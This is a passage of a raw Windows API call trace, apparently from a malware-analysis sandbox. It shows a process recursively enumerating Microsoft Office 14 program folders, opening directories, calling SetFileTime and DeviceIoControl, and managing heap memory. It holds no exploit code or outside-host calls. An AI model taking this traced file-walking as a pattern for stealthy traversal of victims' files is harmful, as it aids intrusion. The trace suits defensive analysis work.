lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Space Templates", cAlternateFileName="")) returned 1 [0079.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dd930 [0079.134] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\space templates"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\space templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0079.135] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0079.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.135] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0079.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.135] NtClose (Handle=0x174) returned 0x0 [0079.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dd930) returned 1 [0079.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dd930 [0079.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dda38 [0079.136] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0079.136] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.136] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0079.136] GetLastError () returned 0x12 [0079.136] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0079.136] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.137] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.137] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0079.137] GetLastError () returned 0x12 [0079.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dda38) returned 1 [0079.137] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dd930) returned 1 [0079.137] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a42b900, ftCreationTime.dwHighDateTime=0x1c9d747, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a42b900, ftLastWriteTime.dwHighDateTime=0x1c9d747, nFileSizeHigh=0x0, nFileSizeLow=0x17e2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterApplicationDescriptors.xml", cAlternateFileName="")) returned 1 [0079.137] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4061200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4061200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b875, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterNotificationDescriptors.xml", cAlternateFileName="")) returned 1 [0079.137] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22545300, ftCreationTime.dwHighDateTime=0x1c9a48f, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22545300, ftLastWriteTime.dwHighDateTime=0x1c9a48f, nFileSizeHigh=0x0, nFileSizeLow=0x1a553, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterToolTemplates.xml", cAlternateFileName="")) returned 1 [0079.137] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22545300, ftCreationTime.dwHighDateTime=0x1c9a48f, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22545300, ftLastWriteTime.dwHighDateTime=0x1c9a48f, nFileSizeHigh=0x0, nFileSizeLow=0x1a553, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterToolTemplates.xml", cAlternateFileName="")) returned 0 [0079.137] GetLastError () returned 0x12 [0079.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.137] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0079.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.138] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="")) returned 0 [0079.138] GetLastError () returned 0x12 [0079.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0079.138] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0079.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0079.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.138] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x3112b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0079.138] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x669390, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0079.138] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x14ed88, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEMN.EXE", cAlternateFileName="")) returned 1 [0079.138] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0360920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC.DLL", cAlternateFileName="")) returned 1 [0079.138] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50eeca00, ftCreationTime.dwHighDateTime=0x1cbceff, ftLastAccessTime.dwLowDateTime=0xcf0a1be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50eeca00, ftLastWriteTime.dwHighDateTime=0x1cbceff, nFileSizeHigh=0x0, nFileSizeLow=0x3b360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEAWSDC.DLL", cAlternateFileName="")) returned 1 [0079.138] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xb13a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEContentService.exe", cAlternateFileName="")) returned 1 [0079.138] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58c5e60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xa6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCOMMON.DLL", cAlternateFileName="")) returned 1 [0079.138] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dc7c00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb5dc7c00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x73c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMDIMP.ADD", cAlternateFileName="")) returned 1 [0079.138] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x2d168, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMPMAIL.DLL", cAlternateFileName="")) returned 1 [0079.138] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2f180, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMUTIL.DLL", cAlternateFileName="")) returned 1 [0079.139] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db63000, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1db63000, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x38388, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMWDD.DLL", cAlternateFileName="")) returned 1 [0079.139] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5912120, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMWIZ.DLL", cAlternateFileName="")) returned 1 [0079.139] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x53979a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x275770, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH.EXE", cAlternateFileName="")) returned 1 [0079.139] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOM", cAlternateFileName="")) returned 1 [0079.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.139] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0079.141] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.141] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.141] NtClose (Handle=0x178) returned 0x0 [0079.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0079.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0079.142] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0079.143] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.143] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServices", cAlternateFileName="")) returned 1 [0079.143] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMV12", cAlternateFileName="")) returned 1 [0079.144] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xe770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="")) returned 1 [0079.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.144] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="")) returned 1 [0079.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0079.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0079.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c96c0 [0079.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dd930 [0079.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.145] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="")) returned 0 [0079.145] GetLastError () returned 0x12 [0079.145] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0079.146] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0079.146] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.146] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServices", cAlternateFileName="")) returned 1 [0079.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dda38 [0079.146] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft 